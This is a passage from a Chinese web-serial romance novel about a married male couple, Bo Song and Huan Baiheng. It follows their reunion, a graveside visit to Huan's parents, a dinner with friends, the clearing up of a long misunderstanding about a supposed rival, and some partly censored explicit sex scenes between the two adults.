薄淞从惊喜中回神,开口的话在医生拔高的声音里止住,他瞬间紧张回头。 木屋子里,小灰兔最后一次拔了身上的毛,叼进了木屋角落的生产区,里面早已铺着厚厚一堆兔毛,它安静的趴伏在上面,不动了。 “这是在生?”桓柏蘅看了眼监控。 为了不打扰小兔子生产,木屋提早装了摄像头,这会三人离木屋有些距离,监控里小兔子身体时不时在抖动,疼痛难忍的样子。 医生告知了些兔子生产时候的状况。 薄淞盯着监控画面,好几分钟过去没动静,心提起来,垂在身侧的手就被轻轻扯了扯。 他看见桓柏蘅无奈表情。 “你太紧张了。” “我第一次看兔子生宝宝。” 薄淞些许尴尬,桓柏蘅抓着他的手没松开,竟也渐渐平静下来。 事实证明确实没必要过度紧张,生产很顺利,差不多又过五分钟,监控下就可以看见粉粉嫩嫩的小宝宝,只是刚出生,长得确实奇怪。 小灰兔跑出了产区,监控放大可以看清是三只宝宝。 薄淞看三个小家伙在动,刚松口气,小灰兔又跑了回去,他不明所以,看向医生。 “可能肚子里还有,得再等等。” 医生说至少观察两个小时,兔子生宝宝比较慢,便也只好等着。 薄淞悬着的心松下来,才来及问起刚才被打断的话,桓柏蘅怎么会回来,得知人中午就到了。 “怎么不跟我说?” 如果知道桓柏蘅要回来,他肯定坐最早的一班飞机。 “忘了。” “” 不是忘了,是不想薄淞急急忙忙的,总归他现在不走,迟早薄淞都要到家的。 “那你什么时候回去?”薄淞只好问。 “晚上。”桓柏蘅回答。 安江到荣市距离不近,飞机落地都要凌晨,桓柏蘅来这一趟很辛苦。 薄淞很多话想说,可小灰兔又匆匆回窝生产,医生又在旁边,他只好把话咽回去,脚步却不自觉离桓柏蘅更近了些。 最终小灰兔产下五只兔宝宝。 医生给宝宝们做了保暖工作,清理的事兔妈妈会负责,薄淞把阿姨准备的营养餐放进木屋里,小灰兔信任他,拱起脑袋求安抚。 薄淞瞧着它,心里柔软。 缘分真的很神奇。 无缘无故闯进家里,又带来全新的小生命。 小灰兔被安顿好,医生离开后,家里只剩下薄淞和桓柏蘅两人。 这会的点已经下午三点,桓柏蘅是晚上七点的机票,他们或许还得提早去机场。 “回来一趟很累吧。”薄淞说。 桓柏蘅:“还好。” “怎么今天回来?” “你问了很多遍了。” 两人目光对视,客厅里没开灯,关了门掩着帘子缘故,显得比较暗,半晌薄淞“哦”了一声,“我去开灯,你晚上想吃” 他被扯回来,抵住后脑勺深吻。 思念在彼此交换的气息中得以慰藉。 好半天,桓柏蘅亲够了,才松开,拇指抵开薄淞唇瓣,好让薄淞更好呼吸。 “问这么多,真看不出来吗?” 咫尺的距离,桓柏蘅眼神深邃,嗓音温柔,带了些笑意,在人唇角又轻轻吻了下。 “为你回来的。”他说- 桓柏蘅匆匆回来一趟不是为了什么笨兔子,纯粹是为了见薄淞一面。 来回折腾好几小时,好像也值。 亲亲抱抱一阵,两人都不想出门,薄淞提起可以做晚饭给桓柏蘅,这段时间,桓柏蘅不在,他没让阿姨过来做饭。他下班的时间不规律,要么在公司吃,要么就回来自己煮点东西解决,薄淞本来也不习惯家里有人。 桓柏蘅负责洗菜,手指在清水盆里掰过菜叶,一颗颗洗干净,他难得这么多耐心。 薄淞切葱姜蒜备用,忍不住视线频繁往身侧的人落下。 “好看吗?” 桓柏蘅挑眉。 薄淞被逮到现行,转回头去,心里默默回了句,“好看的。” 他没想过,桓柏蘅有天能和他一起做饭,这样两个人在厨房里,很有过日子的感觉。 一顿饭做的时间有些久,主要是肉需要腌制,等了一段时间,天色黑下,两碗热气腾腾的青菜瘦肉鸡蛋面才出锅。 薄淞瞧着实在单调的晚餐,略微不好意思,可他和桓柏蘅说过的,他对下厨一事并不精通。 桓柏蘅尝了口,“还行。” 薄淞才松了口气。 其实他煮速冻的比较多,或者煎面包培根比较擅长,食物本身就有味道,需要自己调味的,很多时候下手容易重。 两人吃着面,薄淞忽然想到,“你以前在国外,都吃什么呢?” 桓柏蘅在国外上学,不会做饭,这是挺奇怪的,尤其A国人的饮食习惯和国内差的多。 “蹭室友的。” 桓柏蘅的回答让薄淞愣了会。 “我付钱,他做饭,很公平。” “哦。” 薄淞吃了口面,咽下去,抬眼,“你和别人合租啊?” 桓柏蘅会和人合租,薄淞第一反应是讶异,随后才是隐隐约约的,不好启齿的酸涩心理。 他很羡慕能和桓柏蘅住在一起的人。在他连见桓柏蘅一面都奢侈的这么几年里。 “嗯,中国人。”桓柏蘅没注意到薄淞本就不明显的情绪,他说,“三层别墅,一人一层,平常碰不上。” 薄淞点了点头。 听桓柏蘅又说。 “他是BUNNY的第二任主人。” 薄淞反应了会,才记起BUNNY是谁,那只盖勾亚,连宠物都送人了吗? “你们关系挺好的。” 薄淞自己都没意识到,说出口的话多少带点酸意,能和桓柏蘅住在一起,又拥有桓柏蘅心爱的宠物,而且做饭的话,应该是一起吃的吧? 朝夕相处,会不会 “他女朋友想要,我正好懒得养了。” “” 薄淞为自己狭隘的心思惭愧。 “等我这边结束了,我们去看BUNNY吧。” 薄淞短暂懵了会,抬眼,然后听桓柏蘅说,“蜜月旅行,我们去A国,带你去我学校转转。” 桓柏蘅不是突发奇想去A国,他记得薄淞原先取消的行程,目的地就是A国。 薄淞签证早早办过,他的还没过期,所以他们去A国很方便。 虽然说,A国对他没什么新鲜感,读书几年都要把A国逛遍,但薄淞感兴趣,他不介意再陪对方走一圈。 他们旅行的时间大概半个月,也并不局限于A国,附近的城市转一转,也可以。 晚饭后薄淞送桓柏蘅去机场,等人离开后独自驾车回家,窗外是热闹的城市街道,人群熙攘。 两个月前刚得知桓柏蘅结婚时的心情变得遥远,遥远到薄淞几乎想不起来,他也没料到,再次启程去A国,竟然是和桓柏蘅的蜜月,一时间感慨万分- 时间步入三月,日子就快了。 薄淞每两周会飞一次安江,周五过去,周六或是在酒店办公或是城市内转转,然后度过愉快美妙的夜晚,周日再和桓柏蘅一道去落日的湖边吹风,公园赏花。 周日晚回会荣市,开启一周的忙碌。 为了给之后的蜜月假期腾出时间,薄淞不得不把许多能提前完成的工作解决,忙碌中时间倒是也不难熬。 三月上旬,他某天途经上班常走的林荫小道时,发现两侧冬季里干枯的枝木抽了新的枝条,多了几片绿叶,然后又在几天后的雨后清晨经过,绿意覆满整条小道。 春天就正式来了。 四月,桓柏蘅结束了学习培训的两个月。 行李陆陆续续被寄回来,薄淞收到行李时,等待人回来的心情便越发急切,可桓柏蘅还需要几天,他跟着叶叔去谈一块事先看好准备投资的地皮。 薄淞只能等着。 出国需要携带的行李收的差不多,半个月时间不短,洗漱用品,衣物,办公笔记本都得带着。 他每天收拾一些,总归时间充足,想起什么就往行李箱放一些。 七天变成三天,两天,倒计时一天的时候,薄淞原本轻松惬意的心情才转变为了一点点的不安。 伴随着桓柏蘅回来期限的临近,同时代表他们所约定期限,到了尾声。 薄淞原本以为,要在这两个月做很多很多事情,才能争取在桓柏蘅选择他的天平上加些筹码,而实际上,从开始到现在,他做的并不多。 不是不愿意做,是根本不知道怎么做。 薄淞又想起车里桓柏蘅那番话。 当时桓柏蘅提出“两个月”,他能感受到对方的纠结,只是时间越过,他越是多了茫然。 两人的相处不像是一方在思考。 像是被迫异地的情侣。 不对,他们是夫妻了。 桓柏蘅传达给他的心情是一样的,薄淞感觉得到,因此不安其实也只占据心里很小很小的一部分,更多的是由不解导致的,可他又想,或许分开的时间里,桓柏蘅想清楚了。 其实决定在很早之前就已经有了,选择的是他。 薄淞这么想,又怀疑,他哪有那么大的魅力,轻而易举占据一个桓柏蘅喜欢多年的人在心里的分量。 理不清绕不明白的熟悉感觉又来了。 薄淞可决定不再去想,桓柏蘅已经要回来,而昨天视频里,他们还表达过思念,会是他想要的答案。 厨房里粥的香味飘出来,他起身往厨房去,心思又飘到旅行上,他是不是该准备一张国外的地图,桓柏蘅或许忘记了,以备不时之需- 第46章 薄淞第二天直接去的老宅, 和爷爷聊天下棋,消磨一上午。 临近中午的点,院子里传来动静, 他眼神离开棋局, 往院内落了眼,耳边传来老爷子爽朗的笑。 “该是柏蘅回来了, 小淞,你替爷爷出去接一接。” 薄淞闻言几乎是立刻起身, 对上爷爷笑眯眯的模样,才后知后觉些许窘迫,不过还是说,“爷爷,我去看看。” 他快步出了门, 司机刚把车子开进院内, 停好,车上下来一人。 桓柏蘅长腿跨出来,落在地面, 同薄淞隔着距离视线对上,扬了扬眉,他去后备箱取行李。 薄淞脚步下了台阶,到他身侧。 “自己开车过来的?”桓柏蘅顺势问了句,行李箱立在地面。 薄淞点头,“是。” 桓柏蘅合上后备箱,按住了薄淞准备替他拿行李的手,拇指无意识地在他手背摩挲两下,低声道,“陪我去放个行李?” 薄淞车停在车库里, 十分钟后,他们直接从电梯上去的客厅。 老爷子早已收好棋子,踱步半天,总算见两人上来,视线扫过两人泛红的唇瓣,薄淞眼神躲闪,而自家孙子一副恨不得把人吃了的架势,既是欣慰,也被两个年轻人搞得尴尬。 “行了,先去洗手吃饭吧,等你半天了。” 桌上一桌子桓柏蘅爱吃的,老爷子嘴上不说,心里对桓柏蘅想念得不行,整整两个多月没见到孙子,又想起上回桓柏蘅回来一趟,竟然也不过来看看他,有点郁闷。 可又觉得桓柏蘅瘦了些,没忍住一顿饭给人单是夹菜就夹了七八次,问了两个月培训的收获心得。 桓柏蘅一一答了,老爷子算是满意。 项目上的事老爷子没打算现在谈,欠两个孩子的蜜月没补上,打算等蜜月结束再说,饭桌上热闹。 午餐结束,薄淞接到助理打来的电话,去了院子,老爷子才把桓柏蘅拉过来。 “您干吗?” “爷爷和你聊会。” 桓柏蘅目光从院外收回,兴致寥寥,“您说呗。” 老爷子清了清嗓子,“小淞很优秀,爷爷跟他相处下来,也是一天比一天喜欢。” “” “你呢?跟爷爷说实话,是不是有点喜欢上小淞呢?” 老爷子铺垫的非常生硬,两句就忍不住道出目的,也带着点期盼等待回答。 催桓柏蘅结婚这事,他不后悔,起初也知道两个孩子没感情,可和薄淞相处下来,喜欢是真的,薄淞懂事包容也是真的,婚姻能互相理解包容彼此陪伴就足够,他无数次告诉自己,做的是正确的决定。 只是内心深处,终归是希望婚姻里还是能有些感情的,有感情过日子和没感情过日子是两回事,无奈努力一两回,也没效果,感情强求不了,他都已经放弃。 老叶突然带回来的消息,第一反应他是惊喜,再就是燃起希望,当然,同时夹杂着点不确定,总归大老远跑过去一块过节,说一点情意没有,过于勉强,可这个年纪的年轻人,那方面需求大,荒唐起来也不是没可能。 直到今天,见着两个孩子之间的互动。 去院子里接个人接了十多分钟,司机说两孩子跑车库放行李去了,上来嘴红着呢,老爷子也从年轻走过来的,黏糊的劲哪里像是名义上的夫妻。 虽然不知道短短时间里,孩子们之间碰撞出什么火花,不过他了解自家孙子,桓柏蘅喜欢一样东西,或是人,眼睛里的情绪是不一样的。 果不其然,桓柏蘅唇角勾起弧度,“他挺好的。” “还有呢?”老爷子紧张追问。 “您管太多了吧?”桓柏蘅不肯答了,笑容收敛,径直绕过,坐进沙发里头瘫着。 “一句话怎么不能说,爷爷是不是从小教你,要坦诚,嗯?”老爷子着急,“有这份心意就要说出来,藏着掖着,谁能知道啊。” 不该矜持的时候矜持什么呢? 桓柏蘅不耐烦听这些,“知道了。” “你这孩子。”老爷子看出他的敷衍,些许无奈,可总归知道答案,心里又松快下来,他瞧着桓柏蘅再次往院外投去的一眼,欣慰着长叹口气,“爷爷没给你找错人承奕和小蓉要是知道的话,肯定也很高兴的。” “”- 薄淞打完电话回来,桓柏蘅在门口等他。 “有事?” “没。” 不是要紧的事,助理只是打电话来跟他汇报一下。 “刚才和爷爷的棋还没下完。” 薄淞往里去,没看见老爷子,疑惑问,“爷爷呢?” “午休。” 桓柏蘅言简意赅,薄淞才记起老爷子习惯,“你累吗,上楼休息会?” 他看桓柏蘅脸色似乎有些不对。 “不要。”桓柏蘅直接拒绝,“我们回家。” “…得和爷爷说一声吧。”薄淞想着直接走不太礼貌,犹豫问,“你是不想休息吗?那我陪你…” “想做/爱。” 空旷的客厅里,四下无人,阿姨在厨房忙碌,爷爷也已经上楼,桓柏蘅的音量不大不小,只堪堪两人能听见。 可薄淞还是肉眼可及的红蹿到了脸上,甚至整个眼皮开始发烫。 太突然,怎么回答? 他眼睫颤了下,被桓柏蘅拉过去,脚步急促。 桓柏蘅完全无所谓时间地点,“那不回去吧,这我挺满意的,东西都有,将就一下。” “…” 薄淞没脸在长辈的地盘乱来,而且上次还被提醒过“克制”,只得先不顾礼数,紧拽住桓柏蘅衣袖,蚊子一般小的音量,说回家。 车子一路疾驰,到别墅门口,桓柏蘅没开进车库,停在了院内,椅背放平。 薄淞攀住车把的手被扯下来,桓柏蘅欺身压过去,要他补上之前那次。 “在车里的。” 桓柏蘅强调。 别墅雕花的大门紧闭,午后阳光热烈,洒在小花园里,库里南所在角落一片浓荫遮蔽。 薄淞在桓柏蘅摇下很窄的车窗缝隙时,全身绷紧。 “看不见,只是透气。” 桓柏蘅安抚他,吻落在惊慌的人无措颤抖的眼尾,却没从他身体退出去。 薄淞衣衫凌乱不堪,胸,前扣子被解开两颗,留下大片的绯红痕迹,压抑着CHUAN,息,桓柏蘅记起认识薄淞之初,觉得对方矜持禁欲,想看人眼眶盈泪,再无自持模样。 可如今是了,这张脸被欲、望裹挟,却也同浪荡沾不了一丝,还是翩翩君子。 他在薄淞唇角吻了下,又止不住细细舔舐,说“你真好看”,又怜爱的喊“小可怜” 薄淞颤抖的更加厉害。 桓柏蘅早说过他不是什么好人,薄淞把他惯得越来越坏,是咎由自取。所以他只给薄淞片刻的喘息,就着相连的动作,坐起… 窗外鸟雀飞过,风吹树影花影摇曳,风里有了一丝炎夏气息。 薄淞从桓柏蘅腿上下去,车子驶入地下车库。 他下车时,脚步踏在地面虚浮,像是重回新婚那天,这次他被拦腰抱起,上了电梯。 厚重的帘子挡住外头光影,两人汗涔涔,黏腻不堪,桓柏蘅随手开了空调,冷气呼呼自空调口吹出。 浴室水声淅淅沥沥,再有身影相拥从里头出来。 薄淞躺在床上,胳膊捂着眼睛,精力消耗过大,床头身影拉开柜子,他听见塑料袋被撕开的声响,微微颤了下。 下意识他往床里头缩了缩,脚踝被握住,分开桓柏蘅吻他,视线专注。 薄淞在累积重叠的kuai,感逼迫下,溢,出shen,.yin,被咬住颈部,隔着动脉血管,轻微的刺疼。 床榻间急剧升温,动静盖过空调制冷的嗡嗡声。 他又一次被拖回去,气若游丝。 “够了。” 薄淞求饶,得到相反的结果。 床头台灯在剧烈晃动下滚落,声响淹没在未撤去的床边地垫上,桓柏蘅才忽然不动,他安静下来,像是大型的犬科动物,就这么沉沉压着。 薄淞推不动他,也不敢乱动,桓柏蘅还在他体//内。 “你怎么了?” 桓柏蘅安静太久,抱得他的动作越收越紧,薄淞才察觉出异样。 “没有。”得到否认,鼻音很重。 薄淞咬着唇,捧起埋在他耳边的人脸,桓柏蘅眼睛很红,像是哭了。 “” 心空了一拍薄淞没见过桓柏蘅哭,只能笨拙的擦过他的眼睫,摸到了一手湿泪。 他把手挪开,还是能看见桓柏蘅潮湿的眸光。 “你不舒服吗?”泪水烫的他发慌,薄淞恨不得捧出能给的,都给他,“我不躲了,你继续好不好,我肯定不乱动。” “” “你不想动吗?我,你别压着我,我自己来好不好?你别哭” 桓柏蘅眼眶的红才似乎淡了点。 “真的?” “” 两人换了个位置,薄淞坐在桓柏蘅腰腹上,艰难动作。 他太慢了,手臂发颤,发软,明明眼尾比桓柏蘅还红,一边动还一边担心吻他,桓柏蘅再也受不了,把他拉下来。 床晃动的更加剧烈。 好一阵,平息。 薄淞指尖无力地从被单松开,被另一只手,扣住,分开,桓柏蘅和他十指紧扣,薄淞听见耳侧贴近的嗓音,一字一顿,温情而沙哑。 “我喜欢你。”桓柏蘅说,“永远留在我身边- 太阳缓缓西沉,霞光铺满整个天际,卧室里的窗帘拉开。 薄淞穿戴整齐,衬衫扣子至最顶上一颗。 “不热吗?”桓柏蘅从窗边回来,在他跟前蹲下。 “热。”薄淞抿唇,长睫微微垂下,半晌又很轻地补了句,“可得见人啊。” 两人折腾完,只洗了个澡,桓柏蘅就提起约了郑云松和许景渊两人吃饭的事,薄淞当然让他去,可没想,这次他也要一起。 桓柏蘅原话是,想把他正式介绍给朋友。 他们明早的机票去A国,而饭局是早就约好的,下午的“运动”比较即兴,总而言之,薄淞只得这会收拾出门。 桓柏蘅却并不着急,拿过床边袜子,握住薄淞脚腕时,眉头拧了下,“是不是凝血有问题,改天去查一查。” 他确定道,“我没有很用力。” 总是动不动青青紫紫的,很吓人。 “查过,没问题,肤质原因。” 袜子套进去,桓柏蘅拿起另一只,示意薄淞把另一只脚伸过来。 薄淞挣不开,难为情的把小腿搭人身上。 桓柏蘅仔细给他穿好,才起身。 他说,“吃饭之前,带你去个地方吧。” 薄淞脚踩进拖鞋里,仰着头,几分未来及散去的羞窘,问,“去哪?” “见我爸妈。” “” “他们会很高兴见到你的。” “” 第47章 开车到墓园时, 霞光散尽,天呈现一片深蓝,光线微弱。 薄淞跟着桓柏蘅, 穿过林立的墓碑, 至角落一处。 桓柏蘅父母的碑前。 墓碑上照片鲜活,这是薄淞第一次看见桓柏蘅父母模样, 他们对着镜头在笑,亲密的依偎。 “今天来就是让你们见个人, 其他的也没什么。” 桓柏蘅声音淡淡响起,他伸手拂去飘下的树叶,手心抹了两下墓牌,不存在灰尘,墓园每天都有人清洁, 可他还是习惯性的把花束正了正, 东西摆了摆,收拾整洁,才喊薄淞过来。 薄淞在他身旁蹲下, 望着照片上的夫妻,原来桓柏蘅像爸爸多一点,五官轮廓,不过眼睛像妈妈,笑起来也像妈妈。 “不喊人吗?”桓柏蘅偏头提醒。 “爸,妈。”薄淞才开口。 照片上的人不会给予回应,回应薄淞的,只有耳畔的风声。 这种地方,总让人心情沉重,何况长眠在此的, 是桓柏蘅最重要的亲人,薄淞无法轻松下来,哪怕桓柏蘅神色如常。 “你们听到他喊你们什么了吧?”桓柏蘅眼底有了些笑意,握住薄淞的手,在碑前晃了晃,给父母看,“喏,我结婚了,婚礼办过,证也领了,合法夫妻。” 他缓缓道,“其实我们结婚好几个月了,现在才带他来见你们,是有点晚,因为之前没打算让你们知道的嗯,也不是,不过确实没想让你们认识他。” 桓柏蘅纠正了话语存在的问题,也隐去他开始结婚的目的一点也不单纯这件事。 “不过现在就算认识了,我眼光是不是很好?” 桓柏蘅觉得,薄淞该是很能让父母满意的,长辈都喜欢这样的,而且,他喜欢的,父母肯定会喜欢。 “我们现在很幸福,以后也会的,会好好在一起,你们可以放心。” 桓柏蘅看着照片里父母的微笑,像是同样为他感到高兴,他其实一年来这的机会不多,离开的人已经离开,不存在已成既定现实,他无法从冷冰冰的墓碑得到丝毫慰藉。 不过对于父母的离去他也不存在严重创伤,顶多偶尔特殊时刻的落寞,可也能被爷爷很好填补,而以后,他身边会有薄淞,疗愈他所有难受失落时刻。 “今天来的匆忙,才没给你们买花的,不怪他。” 桓柏蘅在薄淞愧疚当下替他解释,“下次我们一块来,再补给你们。” 他说的本是实话,带薄淞来也只是中午爷爷的话提醒了他。 “今天先不多聊了,就是过路来看看你们,和云松他们约好一块吃饭呢,等下次吧,下次肯定陪你们多聊一阵。” 桓柏蘅本来没想久呆,起身,把薄淞一块拉起来,和父母说再见。 走出这片墓园时,天色暗下来, 夜晚的风吹过来仍有残留的冬日寒气,薄淞心不在焉被桓柏蘅牵着,往出口去,风声响在耳边。 “怕不怕?”桓柏蘅问了句, 薄淞愣了会,明白过来,"不怕。" 墓碑埋着的,都是亲人们朝思暮想的灵魂,怎么会害怕。 “小时候会梦见爸爸妈妈吗?”薄淞没忍住问。 “会。”桓柏蘅如实答,“他们刚去世那阵,天天梦见。” 薄淞脚步停下来,桓柏蘅看过去,他就在人唇上亲了亲,桓柏蘅笑,“刚才在我爸妈面前,怎么不亲我?” “忘了。”薄淞亲完,握他更紧。 难过从心里隐秘的角落滋生,一发不可收拾,整颗心都酸酸的,可生离死别,是人世间最无奈的事。 桓柏蘅又晃了晃他的手,薄淞强忍难过看过去。 “刚才我在爸妈面前说的,你不会让我食言吧,我说我们会好好的在一起。”桓柏蘅提醒他,“当初说好的两个月,到期限了。” 所以薄淞应该给他个答案。 他等了很久。 “嗯。”薄淞沉重的心情因为被提起这件事,多了丝紧张,唇角抿起。 两人于是一路沉默到了停车场。 天边最后一丝蓝调消逝,黑夜拉开幕布,风迎面吹来,刮起桓柏蘅风衣一角在暗色中飞舞。 他停下脚步,侧身。 “我其实不知道正常的婚姻是什么样子,从前也不明白喜欢一个人是什么感觉,我身边没什么人能给我参考。” 桓柏蘅声音在风中徐徐响起,苦恼和无奈。 “云松父母是商业联姻,景渊爸妈更是开放式的关系,伴侣,爱人对我们来说,其实很缥缈。起初我结婚只是为了爷爷,他年纪大了,我不想他总是操心我,你知道的。” “可是后来两个月前,和今天,跟你说的话都是真心的。” 桓柏蘅手心冒出些汗,他很少感到紧张。 “我第一次喜欢一个人,做的不好,第一次经营婚姻,也不是合格的丈夫,可我应该有很好的学习天赋爷爷告诉过我,我的父母很相爱。” “所以,我应该也很会爱人的。” 从好感,喜欢,到爱。 桓柏蘅望进薄淞眼底,轻声的像是怕得到不好的回答,去请求,“你愿意教我吗?”- 两人到餐厅的时候,郑云松无聊地扒拉着桌角。 见他们进来,紧张地站起来。 “那个,学长好。” 许景渊瞥了他一眼,克制的没翻白眼,注意到两人牵着的手。 桓柏蘅没松开。 “,,你好。”薄淞被他这么正式的问好弄得几分尴尬,然后在对面两道直勾勾的目光注视下,手心发烫。 到桌边,桓柏蘅才松开。 “点餐了吗?” 桓柏蘅看桌上只有几杯冰饮。 “没,请客的都没到呢,哪好意思啊?”郑云松立刻抓起菜单,“学长,那我不客气了啊,你尽管让他付钱。” “” 薄淞不知道桓柏蘅怎么跟两人说的,又是以什么身份介绍他,不过大概也就那个意思,他有点紧张,在他意料之外。 郑云松点完餐,单子到许景渊手里,许景渊兴趣寥寥,“都行。” 桓柏蘅看了眼他。 郑云松才把单子递回去。 薄淞简单加了几个,服务员去备餐。 “你们开车来的是吧?谁开回去啊,庆祝下,喝点。”郑云松点了酒,好日子就得喝酒。 “你开车?”桓柏蘅对薄淞说。 薄淞点了下头。 菜上的挺快,期间郑云松话题没断过,有他在就不会冷场,薄淞也慢慢放松下来。 饭到中旬,许景渊冷不丁出了声。 “既然是庆祝你和柏蘅心意相通,双方朋友都得到场才好吧?”他开门见山,“林序淮怎么不过来?” “序淮不方便,他的心意我知道,足够了。” 薄淞唇角的笑淡了些下去。 “知道是一回事,避而不见是另一回事,总不能是因为我吧?”许景渊嗤笑道,“你和他说说,没必要,好聚好散,我又不会赖着他。” 话音落下,气氛一时间古怪起来。 薄淞其实对于林序淮和许景渊之间的事也不是很清楚,林序淮不愿意说,只是前两周吃过饭,林序淮是说断了。 今天这顿饭,他自然不会叫对方过来。 “要我说,就柏蘅的问题,谁让他约这么临时,有事很正常。” 郑云松及时打断,别的话题掩过去。 许景渊当然不是想搅局,只不过心里郁闷而已,无缘无故就被甩?不是,本来就只是py,也不存在被甩。 “我说错话了,抱歉。”许景渊自罚一杯,起身,“去个卫生间,失陪。” “” 桓柏蘅等人出包间,对薄淞说,“我出去一下。” “好。” 门掩上,餐桌旁只剩下两人。 “学长,抱歉啊,景渊他最近心情不好。” 薄淞当然不需要郑云松说抱歉,而且,要说也不是对他说,“我不知道他们之间发生了什么,序淮没告诉我。” 单方面把人甩了呗,腻了倦了,还能什么原因? 郑云松替许景渊委屈,可顾着桓柏蘅,又不能说,选择把话题跳过去。 “柏蘅说你们去A国啊,你之前去过吗?那可好玩了。” 郑云松去过,桓柏蘅读书期间,他跑了几次过去,每次都有不同体验,于是话一出口,收不住嘴了,聊起国外泡吧的事。 他说的一句比一句嗨,怀念当初风流,最后戛然而止在薄淞的沉默中。 “额,柏蘅没有,他是很受欢迎没错,但性冷淡。” "" 薄淞根本没有郑云松理解的“不高兴”意思,只是对于这些他不知道说什么,选择耐心听罢了,一句性冷淡,他才微微有些不认可。 “真的,他男女都不喜欢。” 郑云松急切想澄清,总不能乱说话,搞出误会他罪过就大了,“我可以发誓,真的,遇到你之前他就没喜欢过人,多瞧一眼的都没有,不对,要说有,他也是对你,之前我不是碰上你相亲吗?我就跟柏蘅说了,一说他就想起你来了,他肯定大学时候对你就有好感了” 郑云松后面讲的话,薄淞没有听进去了,后知后觉反应过来哪里不对劲。 第二次了。 包括在墓园里桓柏蘅的话。 他好像忽略某个重要的信息点。 “学长,你别不信啊,我跟柏蘅从小玩到大,他但凡心动了一下我都知道,可以说” “他没有喜欢的人?”薄淞打断他。 “是啊。”郑云松被薄淞这么盯着瞧,些许懵,“他没有啊,你是他第一个喜欢的人.” 薄淞觉得或许哪错了,郑云松这么说,可能只是替桓柏蘅隐瞒,这是有可能的,可是桓柏蘅也说过,他当时太紧张,以至于忽略了。 桓柏蘅不屑于对他说这种谎。 “大学,我认识和你们打球的一个学弟,谢谦。”薄淞报出人名,郑云松有印象,“阿谦啊,他打球可菜了,玩过几次。” “” “他怎么了?” “有次聊天的时候,他跟我说,桓柏蘅有个喜欢的人,喜欢很多年了。” 郑云松的表情堪称茫然,让薄淞心脏瞬间往下沉,知道答案,苦笑问,“假的吗?” “想起来了。”郑云松解释,“不是追他的人太多了嘛,每天球馆堵死,烦的要命,有次好像是艺术系的吧,一个女生,那女生挺勇的啊,情书就这么递过去了。” “柏蘅没收,那女孩说要继续追,当时好像谁说了句,柏蘅有对象之类的,记不清了,反正就这么传出去。” 对象不好编,因为不可能凭空真出现这么个人,总而言之,就是桓柏蘅没有否认这个人的存在,到薄淞耳朵里,就是多少个版本之后的事了。 少年情深,倾心多年,其实都是假的。 薄淞一时间不知道作何心情,也没意识到自己走神,到郑云松喊了他两声,他才开口表示原来这是个误会。 郑云松怕他不信,再强调一遍,才肯安心。 薄淞往包间外看,桓柏蘅还没回来,然后听见让他心跳都险些停拍的话,郑云松很认真的语气,又带点委婉和迟疑,开口。 “柏蘅是没有,那你那个暗恋对象呢?” “” 第48章 桓柏蘅和许景渊回来的时候, 包间里气氛怪异。 郑云松满脸不可置信,几乎脱口的话,又硬生生咽了回去, 只觉得世界还挺魔幻, 乌龙还能闹两回。 后半程,气氛显而易见比原先冷了些。 于是一顿饭结束, 几人就各自回去。 薄淞没喝酒,负责开车。 “景渊和你朋友的事, 我不知道。”桓柏蘅开口。 薄淞全程心不在焉,“哦,我其实也不太清楚。” “” “你靠边停会。” 车子停在道路一侧,薄淞偏过头,注意到桓柏蘅拧起的眉眼, 愣了下, “怎么了?” “你是因为你的朋友跟我生气吗?”桓柏蘅神情严肃。 “当然不是。”薄淞意外他怎么会这么想,“序淮的事我真不知道,而且你是你, 你朋友是你朋友。” 他不可能会怪在桓柏蘅身上,他也舍不得。 “那为什么?”桓柏蘅不理解,“你很冷淡。” 薄淞很艰难把下意识的“抱歉”咽回去,他解释清楚,“我只是在想事情,所以忽略了你,不是有意的。” 桓柏蘅追问的话,在手机震动中止住,他才想把手机丢一边,连续的抖动让他很不耐, 打开,是郑云松发的消息,一连七八条,表达震惊的心情。 薄淞也看到了,他苦笑道,“我就是一时反应不过来,我们好像都弄错了。” “弄错什么?” “我一直以为,你说的两个月时间,是要思考选不选我的问题,多了个假想敌,是吗?” 薄淞如果要复盘这件事,能找到许多破绽,他只是坚信不疑的认定桓柏蘅有喜欢的人这一事实,所以挣扎反复了这么久,甚至于一开始,还想过退缩。 不要和桓柏蘅结婚,希望桓柏蘅幸福。 如果不是现在的结果如愿以偿,他真的对曾经那么多次险些失去的机会失去桓柏蘅这个人而感到后怕。 他怎么就从没怀疑过,大学的时候不成熟,得知消息喝的大醉,然后埋进心里,这么多年,他都再确认不过这一“事实”,又怎么会怀疑。 然后得知,其实是个轻飘飘的误会。 薄淞不能不花费大量的时间去反应以及接受这一事实。 他长长地呼出口气,然后听桓柏蘅确认,“没有这个人。” 他的说辞和郑云松一样,借口罢了。 薄淞听他亲口说出来,和从郑云松口中得知,心情截然不同,他这一刻鼻酸眼酸,只得轻轻抽了抽鼻子。 命运很爱捉弄人。 “如果我只指假设。”薄淞稍稍平复好心情,像是不经意地随口一问,“如果大学的时候我追你的话,有机会吗?” “没有。”桓柏蘅几乎没有犹豫的回答。 “我当时没有恋爱打算。”桓柏蘅话只到这,他大学没有想谈恋爱想法,哪怕到和薄淞结婚之前都没有,如果不是婚姻把他们捆绑在一起,他不会有机会去接近一个人,然后喜欢。 “这样啊。” 薄淞不意外桓柏蘅的回答,桓柏蘅是这样的,所以就算他去追,也未必会有好的结果,而没有好的结果,可能多年后的“备选名单”都不会有他。 他又一次感慨,命运真的自有安排,好像又不是特别糟糕。 “你问我这么多,那你呢?” “我?”薄淞不确定问,“你朋友没告诉你吗?” 桓柏蘅看着他,“我想听你亲口说。” “没有。”薄淞便回答,他脸上露出很浅的一点笑,告诉桓柏蘅,“我没有喜欢的人。跟你一样,就是个误会而已。” “是吗?” “是。”薄淞轻声重复,“没有的。” 他没必要让桓柏蘅知道,其实喜欢桓柏蘅很多年这件事,单恋与任何人无关,苦甜他都甘之如饴,而喜欢的感情得到回应,已经再幸运不过,又去诉说有多喜欢,喜欢多年,给被喜欢的人增添心理上的压力负担,没有必要。 桓柏蘅好长一阵没说话,后头的车陆陆续续过去,驶向前方的高架。 他才开口,“知道了。” 声音响在车内。 薄淞同桓柏蘅视线对上。 “走吧。”他说,“回家。”- 第二天一早,司机准点到了。 薄淞推行李到电梯口时,桓柏蘅还在卧室里,他绕回去,见人翻倒行李箱,拉开床头柜。 桓柏蘅丢了一半的量在行李箱隔层,思考了会,抬眼问,“够吗?” 薄淞唇角抿了抿,“我们是去度假的。” “知道。”桓柏蘅说,“晚上时间留给我就行。” “” 最终桓柏蘅没多带,总归是可以买,两人两个大号行李箱,加上手提的电脑,塞进了后备箱。 